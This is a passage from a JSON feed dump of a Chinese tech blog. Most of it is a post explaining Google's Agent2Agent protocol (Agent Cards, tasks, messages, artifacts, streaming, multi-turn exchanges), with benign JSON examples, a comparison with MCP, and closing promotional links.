Bai。\u003c/p\u003e\n\u003cp\u003e最近在思考Go语言的发展时，不禁让我想起了当年学习C++的经历。Bjarne Stroustrup在《\u003ca href=\"https://book.douban.com/subject/1231576/\"\u003eC++程序设计语言（特别版）\u003c/a\u003e》中就专门强调了“现代 C++”（Modern C++）的编程风格，鼓励使用模板、STL等新特性来编写更优雅、更高效的C++代码。\u003c/p\u003e","title":"11个现代Go特性：用gopls/modernize让你的代码焕然一新"},{"content":"本文永久链接 – https://tonybai.com/2025/04/14/what-is-a2a-protocol\n随着人工智能（AI）的飞速发展，AI 智能体（Agent）正成为企业自动化、提升生产力的关键力量。从处理日常重复任务到辅助复杂决策，智能体的应用场景日益广泛。然而，一个严峻的挑战随之而来：不同框架、不同厂商构建的智能体往往如同信息孤岛，难以有效协作，这极大地限制了它们在复杂企业环境中的潜力释放。\n为了打破这一僵局，谷歌近日联合 Atlassian、Salesforce、SAP、LangChain、Cohere 等超过 50 家技术合作伙伴和领先服务提供商，共同发布并推动一个全新的开放协议——Agent2Agent(A2A)。该协议旨在为不同生态系统中的AI智能体提供一种标准的通信语言，使其能够安全地发现彼此、交换信息、协调行动，最终实现跨平台、跨应用的无缝协作。\n在这篇文章中，我们就来结合示例快速了解一下A2A协议的设计哲学、核心机制、交互流程与对象模型，以及它与MCP(model context protocol)的区别。这可能是你看过的关于Agent互操作协议最清晰的解读之一。\nA2A协议的设计哲学与核心机制 企业环境中，单一智能体往往难以应对复杂的端到端流程。例如，一个完整的客户服务请求可能需要客服智能体、订单系统智能体、物流跟踪智能体协同工作。A2A协议的诞生，正是为了满足这种日益增长的跨系统、跨智能体协作需求。\nA2A的核心目标是促进智能体之间的互操作性（Interoperability），即使这些智能体基于不同的技术栈构建、不共享内部状态或工具集。谷歌及其合作伙伴在设计A2A时，明确了五大关键原则，这些原则深刻影响了协议的形态：\n拥抱智能体能力 (Embrace agentic capabilities) 协议并非将智能体降级为简单的 API 或工具，而是承认并支持它们以更自然、有时甚至是非结构化的方式进行交互和协作。\n基于现有标准 (Build on existing standards) 为了降低采用门槛和集成复杂度，A2A 建立在开发者熟悉的 HTTP/1.1 或 HTTP/2 之上，采用 JSON-RPC 2.0 作为请求/响应格式，并利用服务器发送事件 (Server-Sent Events, SSE) 实现流式通信。这使得 A2A 更易融入现有的企业 IT 架构。\n默认安全 (Secure by default) 安全是企业级应用的基础。A2A 在设计上与 OpenAPI 的认证规范保持一致，支持如 OAuth2、API Key、JWT 等多种认证方案。关键在于，认证凭证通过标准的 HTTP Header（如 Authorization）传递，而非包含在 A2A 的 JSON 载荷中，确保协议本身与具体认证机制解耦，并强制要求服务器对每个请求进行验证。\n支持长时与异步任务 (Support for long-running tasks) 许多智能体任务并非瞬时完成，可能涉及复杂计算、外部调用甚至人工介入（Human-in-the-loop）。A2A 通过任务状态管理、流式更新 (SSE) 和可选的推送通知 (Push Notifications) 机制，原生支持这类耗时较长的异步交互场景。\n模态无关 (Modality agnostic) 智能体的交互远不止文本。A2A 的 Part 数据结构设计使其能够承载文本 (TextPart)、文件 (FilePart，支持内联 Base64 或 URI 引用，可用于图像、文档等) 和结构化数据 (DataPart，用于表单、JSON 对象等)。这为未来支持音频流、视频流等多模态交互奠定了基础。\nA2A 的核心交互流程与对象模型 A2A 定义了一个清晰的客户端-服务器交互模型。一个“客户端”智能体（发起请求方）与一个“远程”智能体（A2A 服务器，处理请求方）通过一系列标准化的步骤进行通信：\nAgent交互的第一步是发现。\n2.1 发现 (Discovery) 客户端首先需要找到并了解远程智能体的能力。这通过获取远程智能体的Agent Card实现。Agent Card是一个JSON 文件，通常发布在服务器的熟知路径下，推荐路径为：\nhttps://base url/.well-known/agent.json Agent Card中包含了智能体的名称、描述、服务 URL、版本、提供商信息、支持的核心能力 (capabilities 如 streaming, pushNotifications)、认证要求 (authentication)、默认输入/输出模式 (defaultInputModes/defaultOutputModes) 以及最重要的——它所具备的技能列表 (skills)。每个技能 (AgentSkill) 有 ID、名称、描述、标签、示例等，帮助客户端判断该智能体是否适合处理特定任务。\n下面是A2A协议文档中Agent Card的一个示例，我们来看一下：\n//agent card { \u0026#34;name\u0026#34;: \u0026#34;Google Maps Agent\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Plan routes, remember places, and generate directions\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://maps-agent.google.com\u0026#34;, \u0026#34;provider\u0026#34;: { \u0026#34;organization\u0026#34;: \u0026#34;Google\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://google.com\u0026#34; }, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;authentication\u0026#34;: { \u0026#34;schemes\u0026#34;: \u0026#34;OAuth2\u0026#34; }, \u0026#34;defaultInputModes\u0026#34;: [\u0026#34;text/plain\u0026#34;], \u0026#34;defaultOutputModes\u0026#34;: [\u0026#34;text/plain\u0026#34;, \u0026#34;application/html\u0026#34;], \u0026#34;capabilities\u0026#34;: { \u0026#34;streaming\u0026#34;: true, \u0026#34;pushNotifications\u0026#34;: false }, \u0026#34;skills\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;route-planner\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Route planning\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Helps plan routing between two locations\u0026#34;, \u0026#34;tags\u0026#34;: [\u0026#34;maps\u0026#34;, \u0026#34;routing\u0026#34;, \u0026#34;navigation\u0026#34;], \u0026#34;examples\u0026#34;: [ \u0026#34;plan my route from Sunnyvale to Mountain View\u0026#34;, \u0026#34;what\u0026#39;s the commute time from Sunnyvale to San Francisco at 9AM\u0026#34;, \u0026#34;create turn by turn directions from Sunnyvale to Mountain View\u0026#34; ], // can return a video of the route \u0026#34;outputModes\u0026#34;: [\u0026#34;application/html\u0026#34;, \u0026#34;video/mp4\u0026#34;] }, { \u0026#34;id\u0026#34;: \u0026#34;custom-map\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;My Map\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage a custom map with your own saved places\u0026#34;, \u0026#34;tags\u0026#34;: [\u0026#34;custom-map\u0026#34;, \u0026#34;saved-places\u0026#34;], \u0026#34;examples\u0026#34;: [ \u0026#34;show me my favorite restaurants on the map\u0026#34;, \u0026#34;create a visual of all places I\u0026#39;ve visited in the past year\u0026#34; ], \u0026#34;outputModes\u0026#34;: [\u0026#34;application/html\u0026#34;] } ] } 这个JSON对象是一个典型的Agent Card实例，它为”Google Maps Agent”提供了一份详细的说明书，旨在让其他客户端（可能是用户界面、应用程序或其他AI智能体）了解如何发现、连接和使用它。下面我们逐一解析其关键字段：\n基本信息 (Identification \u0026amp; Discovery): * “name”: “Google Maps Agent”: 这是该智能体的**人类可读名称**，简洁明了地标识了它的身份。 * “description”: “Plan routes, remember places, and generate directions”: 提供了更详细的**功能概述**，帮助客户端快速理解该智能体的核心用途。 * “url”: “https://maps-agent.google.com”: 这是至关重要的**基础服务端点 URL**。客户端将向这个 URL（或其下的特定路径，如 /a2a，具体取决于实现）发送 A2A 协议的 JSON-RPC 请求。 * “provider”: { “organization”: “Google”, “url”: “https://google.com” }: 指明了**服务提供商**是 Google，增加了来源的可信度，并提供了组织信息。 * “version”: “1.0.0″: 表明了当前 Agent Card 所描述的智能体实现的**版本号**，有助于客户端进行版本兼容性管理。 连接与交互要求 (Connection \u0026amp; Interaction Requirements): * “authentication”: { “schemes”: “OAuth2″ }: 这个字段明确了与该智能体交互所需的**认证机制**。客户端在发送请求时，需要通过标准的 HTTP Authorization 头携带有效的 OAuth2 令牌。这是实现安全通信的关键。 * “defaultInputModes”: [\u0026quot;text/plain\u0026quot;]: 定义了该智能体**默认接受的输入内容类型**。除非特定技能另有说明，否则它主要期望接收纯文本输入。 * “defaultOutputModes”: [\u0026quot;text/plain\u0026quot;, \u0026quot;application/html\u0026quot;]: 定义了该智能体**默认能够生成的输出内容类型**。它可以返回纯文本或 HTML 格式的响应。 核心协议能力 (Core Protocol Capabilities): * “capabilities”: { “streaming”: true, “pushNotifications”: false }: 这个对象说明了该智能体支持的 A2A 协议**高级特性**。 * “streaming”: true: 表示该智能体**支持流式响应**。客户端可以使用 tasks/sendSubscribe 方法发起请求，并通过 SSE 实时接收任务状态和结果更新。 * “pushNotifications”: false: 表示该智能体**不支持推送通知**。即使客户端配置了 webhook，该智能体也不会在连接断开后主动推送更新。 具体技能清单 (Skills List): * “skills”: [...]: 这是 Agent Card 的核心部分，详细列出了该智能体**具体能执行的任务类型（技能）**。客户端可以根据这个列表来判断该智能体是否具备完成特定用户请求的能力。 * **技能 1: Route Planning (route-planner)** * “id”: 技能的唯一标识符。 * “name”: 技能的人类可读名称。 * “description”: 详细描述该技能的作用。 * “tags”: [...]: 相关的标签，便于分类和搜索。 * “examples”: [...]: **非常重要**，提供了具体的**用户请求示例**。这极大地帮助了客户端（尤其是其他 AI 智能体）理解如何有效地触发和使用这项技能。 * “outputModes”: [\u0026quot;application/html\u0026quot;, \u0026quot;video/mp4\u0026quot;]: **覆盖了默认输出模式**。这个技能特别指出，除了默认的文本和 HTML，它还能生成 video/mp4 格式的输出（例如，路线演示视频）。这展示了 A2A 协议的灵活性，允许不同技能具有不同的输出能力。 * **技能 2: Custom Map (custom-map)** * 同样包含 id, name, description, tags, examples。 * “outputModes”: [\u0026quot;application/html\u0026quot;]: 这个技能的输出模式仅限于 HTML，它也**覆盖了默认设置**，但没有像 route-planner 那样增加额外的视频格式。 我们看到：客户端（无论是人类开发者阅读，还是另一个程序解析）可以通过这份”名片”，准确地了解如何与”Google Maps Agent”进行有效且安全的交互，选择合适的技能来满足用户需求，并预期可能收到的响应格式。这正是A2A协议实现智能体互操作性的基石。\n2.2 任务启动与管理 (Task Initiation \u0026amp; Management) 一旦Agent相互发现后，后续所有交互都围绕Task对象展开。Task是A2A中的核心工作单元，代表一个需要完成的目标，拥有唯一的id和可选的 sessionId (用于关联同一会话中的多个任务)。\n客户端通过向服务器的 A2A 端点发送 JSON-RPC 请求来启动或继续一个任务。主要方法包括：\ntasks/send: 用于发送初始请求或在多轮对话中发送后续用户输入。服务器处理后同步返回最终的 Task 状态及结果 (Artifacts)。适用于短时任务或客户端选择轮询获取更新的场景。 tasks/get: 用于查询指定 id 的任务状态和已生成的 Artifacts，可选择性地获取最近的 N 条消息历史 (historyLength)。 tasks/cancel: 请求取消一个正在进行的任务。 tasks/sendSubscribe: 同样用于发送消息，但服务器会通过SSE 连接持续推送任务进展。适用于长时任务，客户端可以实时接收更新。这是一种流工作模式。 Task 对象包含当前状态 (status)，该状态会经历一个生命周期：submitted -\u0026gt; working -\u0026gt; (可能进入 input-required) -\u0026gt; completed / failed / canceled。\n下面是一个发送task和接收task response的示例。我们先看请求，具体字段的含义在示例的注释中，后续就不赘述了。\n//Request { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, // 1. 标准 JSON-RPC 版本声明 \u0026#34;id\u0026#34;: 1, // 2. 客户端生成的请求 ID，用于匹配响应 \u0026#34;method\u0026#34;:\u0026#34;tasks/send\u0026#34;, // 3. 调用的 A2A 方法：发送消息以启动或继续任务 \u0026#34;params\u0026#34;: { // 4. 方法参数 \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, // 5. 任务 ID (由客户端生成) \u0026#34;message\u0026#34;: { // 6. 要发送的消息内容 \u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;, // 7. 消息发送者角色：用户 (由客户端代理) \u0026#34;parts\u0026#34;: [{ // 8. 消息内容部分 \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, // 9. 内容类型：纯文本 \u0026#34;text\u0026#34;: \u0026#34;tell me a joke\u0026#34; // 10. 具体的文本内容 }] }, \u0026#34;metadata\u0026#34;: {} // 11. 可选的元数据，这里为空 } } 这个请求是客户端在启动一个新任务（ID: de38c…），并通过 tasks/send 方法发送了一个包含文本 “tell me a joke” 的用户消息。\n下面是该请求对应的响应体的内容：\n//Response { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, // 1. 标准 JSON-RPC 版本声明 \u0026#34;id\u0026#34;: 1, // 2. 响应的 ID，与请求的 ID 匹配 \u0026#34;result\u0026#34;: { // 3. 请求成功，包含结果数据 \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, // 4. 任务 ID，与请求中的一致 \u0026#34;sessionId\u0026#34;: \u0026#34;c295ea44-7543-4f78-b524-7a38915ad6e4\u0026#34;, // 5. 会话 ID (由服务器生成) \u0026#34;status\u0026#34;: { // 6. 任务的当前状态 \u0026#34;state\u0026#34;: \u0026#34;completed\u0026#34; // 7. 任务状态：已完成 }, \u0026#34;artifacts\u0026#34;: [{ // 8. 任务生成的制品 (结果) \u0026#34;name\u0026#34;:\u0026#34;joke\u0026#34;, // 9. 制品名称 \u0026#34;parts\u0026#34;: [{ // 10. 制品内容部分 \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, // 11. 内容类型：纯文本 \u0026#34;text\u0026#34;:\u0026#34;Why did the chicken cross the road? To get to the other side!\u0026#34; // 12. 具体的笑话文本 }] }], \u0026#34;metadata\u0026#34;: {} // 13. 可选的元数据，这里为空 } } 这个响应表明服务器成功接收并处理了 ID 为 de38c… 的任务请求。任务已经完成 (completed)，服务器为此任务分配了一个会话 ID (c295ea…)，并将结果（笑话文本）封装在一个名为 “joke” 的 Artifact 中返回给了客户端。\n上面这个简单的示例清晰地展示了A2A协议中最基础的一种交互模式。\n通过task可以承载Message和Artifact，而Message和Artifact各自又可以分为多个Part，它们的对象关系图如下：\nTask 是状态和流程的容器。 Message 是 Task 请求过程中的通信载体。 Artifact 是 Task 产生的结果载体。 Part 是构成 Message 和 Artifact 内容的基本单元。\n下面我们就来看看Message和Artifact这两种对象。\n2.3 通信载体：消息与部件 (Communication: Message \u0026amp; Part) Message(消息)包含任何非人工制品的内容。这可以包括智能体的想法、用户上下文、指令、错误、状态或元数据等。 客户端和服务器之间的交流通过Message对象进行。Message 标识了发送方 (role: “user” 或 “agent”)，并包含一个或多个Part 对象。\nPart 是实际内容的载体，可以是：\nTextPart: 包含 text 字段。 FilePart: 包含 file 对象，该对象内含 mimeType、name，以及 bytes (Base64 编码内容) 或 uri (文件链接)。 DataPart: 包含 data 字段，承载任意 JSON 结构，常用于表单提交或结构化数据交换。 在上面发送task的示例中我们已经看到了Message的一个示例(下面再摘录一下其中内容，这是一个TextPart)：\n\u0026#34;message\u0026#34;: { // 6. 要发送的消息内容 \u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;, // 7. 消息发送者角色：用户 (由客户端代理) \u0026#34;parts\u0026#34;: [{ // 8. 消息内容部分 \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, // 9. 内容类型：纯文本 \u0026#34;text\u0026#34;: \u0026#34;tell me a joke\u0026#34; // 10. 具体的文本内容 }] }, 我们再来看看Artifact。\n2.4 结果交付：制品 (Result Delivery: Artifact) 当智能体完成任务或产生阶段性结果时，它会生成Artifact 对象。Artifact代表任务的最终或中间输出。\n一个 Artifact 可以有名称 (name)、描述 (description)，并像 Message 一样包含一个或多个Part。例如，一个生成报告的任务可能产生一个包含 TextPart (报告文本) 和 FilePart (PDF 文件) 的 Artifact。\n在上面示例的应答中，我们已经见识过Aritfact了：\n\u0026#34;artifacts\u0026#34;: [{ // 8. 任务生成的制品 (结果) \u0026#34;name\u0026#34;:\u0026#34;joke\u0026#34;, // 9. 制品名称 \u0026#34;parts\u0026#34;: [{ // 10. 制品内容部分 \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, // 11. 内容类型：纯文本 \u0026#34;text\u0026#34;:\u0026#34;Why did the chicken cross the road? To get to the other side!\u0026#34; } }], 此外，在流式传输中，Artifact 可以通过 TaskArtifactUpdateEvent 分块 (append: true) 发送，并用 lastChunk: true 标记结束。\n2.5 异步与实时更新：流式传输与推送通知 A2A支持通过SSE实现的流式传输。 当使用 tasks/sendSubscribe 时，服务器通过 SSE 连接发送事件流。主要事件类型包括：\nTaskStatusUpdateEvent: 通知任务状态 (status) 的变化，包含状态码、可选的消息 (message) 和时间戳 (timestamp)。final: true 标记任务终结。 TaskArtifactUpdateEvent: 流式传输 Artifact 的内容。 下面是一个流式传输的示例(主要是通过TaskArtifactUpdateEvent传输Artifact的内容)：\n//Request { \u0026#34;method\u0026#34;:\u0026#34;tasks/sendSubscribe\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, \u0026#34;sessionId\u0026#34;: \u0026#34;c295ea44-7543-4f78-b524-7a38915ad6e4\u0026#34;, \u0026#34;message\u0026#34;: { \u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;, \u0026#34;parts\u0026#34;: [{ \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;write a long paper describing the attached pictures\u0026#34; },{ \u0026#34;type\u0026#34;:\u0026#34;file\u0026#34;, \u0026#34;file\u0026#34;: { \u0026#34;mimeType\u0026#34;: \u0026#34;image/png\u0026#34;, \u0026#34;data\u0026#34;:\u0026#34;\u0026lt;base64-encoded-content\u0026gt;\u0026#34; } }] }, \u0026#34;metadata\u0026#34;: {} } } //Response data: { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;status\u0026#34;: { \u0026#34;state\u0026#34;: \u0026#34;working\u0026#34;, \u0026#34;timestamp\u0026#34;:\u0026#34;2025-04-02T16:59:25.331844\u0026#34; }, \u0026#34;final\u0026#34;: false } } data: { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;artifact\u0026#34;: [ \u0026#34;parts\u0026#34;: [ {\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;\u0026lt;section 1...\u0026gt;\u0026#34;} ], \u0026#34;index\u0026#34;: 0, \u0026#34;append\u0026#34;: false, \u0026#34;lastChunk\u0026#34;: false ] } } data: { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;artifact\u0026#34;: [ \u0026#34;parts\u0026#34;: [ {\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;\u0026lt;section 2...\u0026gt;\u0026#34;} ], \u0026#34;index\u0026#34;: 0, \u0026#34;append\u0026#34;: true, \u0026#34;lastChunk\u0026#34;: false ] } } data: { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;artifact\u0026#34;: [ \u0026#34;parts\u0026#34;: [ {\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;\u0026lt;section 3...\u0026gt;\u0026#34;} ], \u0026#34;index\u0026#34;: 0, \u0026#34;append\u0026#34;: true, \u0026#34;lastChunk\u0026#34;: true ] } } data: { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;status\u0026#34;: { \u0026#34;state\u0026#34;: \u0026#34;completed\u0026#34;, \u0026#34;timestamp\u0026#34;:\u0026#34;2025-04-02T16:59:35.331844\u0026#34; }, \u0026#34;final\u0026#34;: true } } A2A还支持推送通知 (Push Notifications)，允许服务器在客户端断开连接后，仍能将任务状态更新发送到客户端预先配置的 webhook URL。客户端通过 tasks/pushNotification/set 提供 webhook URL 和可选的认证信息。服务器通过 tasks/pushNotification/get 查询配置。这对于需要人工介入或极长时间运行的任务至关重要。\n最后再看看多轮交互。\n2.6 多轮交互 (Multi-turn Conversations) 当任务状态变为 input-required 时，服务器发送的 TaskStatus 对象中的 message 会指示需要用户提供什么信息（可能是文本提示，也可能是包含 DataPart 的表单结构）。客户端获取用户输入后，再次调用 tasks/send (携带相同的 id 和 sessionId)，将用户响应作为新的 Message 发送给服务器，任务得以继续。\n下面是协议规范中一个多轮交互的示例：\n//Request - seq 1 { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;method\u0026#34;:\u0026#34;tasks/send\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, \u0026#34;message\u0026#34;: { \u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;, \u0026#34;parts\u0026#34;: [{ \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;request a new phone for me\u0026#34; }] }, \u0026#34;metadata\u0026#34;: {} } } //Response - seq 2 { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, \u0026#34;sessionId\u0026#34;: \u0026#34;c295ea44-7543-4f78-b524-7a38915ad6e4\u0026#34;, \u0026#34;status\u0026#34;: { \u0026#34;state\u0026#34;: \u0026#34;input-required\u0026#34;, \u0026#34;message\u0026#34;: { \u0026#34;parts\u0026#34;: [{ \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;:\u0026#34;Select a phone type (iPhone/Android)\u0026#34; }] } }, \u0026#34;metadata\u0026#34;: {} } } //Request - seq 3 { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 2, \u0026#34;method\u0026#34;:\u0026#34;tasks/send\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;de38c76d-d54c-436c-8b9f-4c2703648d64\u0026#34;, \u0026#34;sessionId\u0026#34;: \u0026#34;c295ea44-7543-4f78-b524-7a38915ad6e4\u0026#34;, \u0026#34;message\u0026#34;: { \u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;, \u0026#34;parts\u0026#34;: [{ \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Android\u0026#34; }] }, \u0026#34;metadata\u0026#34;: {} } } //Response - seq 4 { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;id\u0026#34;: 2, \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: 1, \u0026#34;sessionId\u0026#34;: \u0026#34;c295ea44-7543-4f78-b524-7a38915ad6e4\u0026#34;, \u0026#34;status\u0026#34;: { \u0026#34;state\u0026#34;: \u0026#34;completed\u0026#34; }, \u0026#34;artifacts\u0026#34;: [{ \u0026#34;name\u0026#34;: \u0026#34;order-confirmation\u0026#34;, \u0026#34;parts\u0026#34;: [{ \u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;:\u0026#34;I have ordered a new Android device for you. Your request number is R12443\u0026#34; }], \u0026#34;metadata\u0026#34;: {} }], \u0026#34;metadata\u0026#34;: {} } } A2A与MCP：协同而非竞争，共筑智能体生态 在讨论智能体互操作性时，另一个常被提及的协议是 Anthropic 推出的 Model Context Protocol (MCP)。理解 A2A 与 MCP 的区别与联系，对于把握当前智能体生态的发展方向至关重要。谷歌在发布 A2A 时也明确指出，两者是互补而非竞争关系。正如下图所示：\n图来自网络 上图形象地揭示了两者核心关注点的不同：\nA2A (Agent2Agent): 聚焦于智能体之间的通信与协作\n核心目标: A2A 的设计初衷是为了解决不同 AI 智能体之间如何进行有效交互的问题。它定义了一套标准的协议，使得由不同供应商、使用不同框架构建的、甚至内部逻辑互不透明（Opaque）的智能体，能够相互发现、理解对方的能力（通过 Agent Card）、协商交互方式（如数据格式、模态），并协同完成更复杂的任务。 交互模式: 是 Agent \u0026lt;-\u0026gt; Agent。它关心的是智能体 A 如何将一个任务或子任务委托给智能体 B，如何传递必要的上下文，如何管理任务状态，以及如何接收来自智能体 B 的结果或需要进一步输入的请求。 应用场景: 主要用于构建多智能体系统 (Multi-Agent Systems)，实现跨系统、跨应用的企业级工作流自动化，需要多个具有不同专长的智能体协同工作的场景。 MCP (Model Context Protocol): 聚焦于智能体与工具/API 的通信\n核心目标: MCP 主要关注的是单个 AI 智能体如何更有效地理解和使用外部工具或 API。它提供了一种标准化的方式来描述工具的功能、参数、以及如何将相关上下文信息传递给模型，从而提高模型调用工具的准确性和可靠性。 交互模式: 本质上是 Agent \u0026lt;-\u0026gt; API/Tool。它关心的是智能体如何理解一个外部函数（如天气查询 API、数据库查询工具）并准确地调用它，以及如何处理返回结果。 应用场景: 主要用于增强单个智能体的能力，让它能够像人类使用软件一样，通过调用各种工具来完成自身无法独立完成的任务，例如联网搜索、代码执行、访问专有数据等。 综上，A2A和MCP是妥妥的互补关系：A2A致力于解决**“智能体们如何互相交谈与合作”** 的问题。而MCP则致力于解决**“一个智能体如何更好地使用它的工具箱”**的问题。\n在一个复杂的系统中，两者可以很好地协同工作：一个主智能体可以使用 MCP 来理解和调用其内部集成的各种工具（如数据库查询、日历管理 API）；当需要与其他独立的、专门化的智能体（如财务审批智能体、报告生成智能体）协作时，它可以通过 A2A 协议与这些外部智能体进行通信和任务协调。 因此，将 A2A 和 MCP 视为智能体生态建设中不同层面的解决方案更为准确。A2A 构建了智能体之间的“社交网络”，而 MCP 则增强了每个智能体个体的“动手能力”。两者共同推动着更强大、更灵活、更具适应性的 AI 智能体系统的发展。\n小结 Agent2Agent (A2A) 协议是谷歌及其庞大生态伙伴网络为解决 AI 智能体互操作性难题而迈出的关键一步。通过提供一个基于开放标准、注重安全和灵活性的通信框架，A2A有望成为连接不同智能体、打通企业复杂流程的桥梁，从而真正释放 AI 在自动化和生产力提升方面的潜力。\n虽然 A2A 目前仍处于草案阶段，但其清晰的设计理念、强大的合作伙伴支持以及开放的社区模式，都预示着其广阔的应用前景。谷歌计划在今年晚些时候推出生产就绪版本，并持续根据社区反馈进行迭代优化，未来可能涵盖更复杂的动态能力协商、任务内UX调整等高级特性。\nA2A 的旅程才刚刚开始。它的最终成功将取决于业界的广泛采纳和开发者社区的积极贡献。我们期待 A2A 能够引领 AI 智能体进入一个更加协同、高效、互联互通的新时代。\n对 A2A 感兴趣的开发者可以通过以下途径深入了解和参与：\n官方文档:A2A 官方文档网站 提供概览和深入主题。 协议规范:JSON 协议规范定义了所有数据结构和方法。 代码示例: 官方 GitHub 仓库 (google/A2A) 提供了 Python 和 JavaScript 的客户端/服务器实现，以及与 CrewAI、LangGraph、Genkit 等框架集成的智能体示例。 社区参与: 通过 GitHub Discussions 交流，通过 GitHub Issues 提交反馈，或使用谷歌表单提供私密反馈。 你对 A2A 协议的前景怎么看？它能真正解决 Agent 协作的难题吗？欢迎在评论区留下你的看法！\n关注我，获取更多 Go、AI 与云原生前沿解读。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/14/what-is-a2a-protocol/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/04/14/what-is-a2a-protocol\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/04/14/what-is-a2a-protocol\"\u003ehttps://tonybai.com/2025/04/14/what-is-a2a-protocol\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e随着人工智能（AI）的飞速发展，AI 